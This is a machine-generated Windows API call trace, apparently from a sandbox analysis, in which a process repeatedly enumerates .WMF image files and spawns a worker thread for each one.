	[0224.098] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1
	[0224.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a38
	[0224.106] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.107] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1
	[0224.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c
	[0224.112] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.113] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1
	[0224.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a40
	[0224.337] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.337] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1
	[0224.338] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c
	[0224.340] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.341] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1
	[0224.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50
	[0224.345] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.345] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1
	[0224.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a54
	[0224.348] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.349] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1
	[0224.349] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a58
	[0224.352] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.352] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1
	[0224.352] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c
	[0224.355] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.356] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1
	[0224.356] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a60
	[0224.359] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.360] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1
	[0224.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a64
	[0224.363] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.364] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1
	[0224.364] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a68
	[0224.367] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.367] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1
	[0224.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a6c
	[0224.594] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.595] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1
	[0224.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a80
	[0224.598] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.599] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1
	[0224.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc89b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a84
	[0224.603] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.604] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1
	[0224.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a88
	[0224.607] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.608] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1
	[0224.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8c
	[0224.679] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.680] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1
	[0224.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a90
	[0224.684] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.685] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1
	[0224.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a94
	[0224.688] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.689] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1
	[0224.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a98
	[0224.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1
	[0224.693] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a9c
	[0224.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.696] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1
	[0224.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa0
	[0224.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.853] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1
	[0224.853] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa4
	[0224.855] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.856] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1
	[0224.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8
	[0224.860] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.861] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1
	[0224.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aac
	[0224.863] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.864] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1
	[0224.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab0
	[0224.867] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.867] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1
	[0224.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcaf6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab4
	[0224.870] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.871] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1
	[0224.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb2db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab8
	[0224.874] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
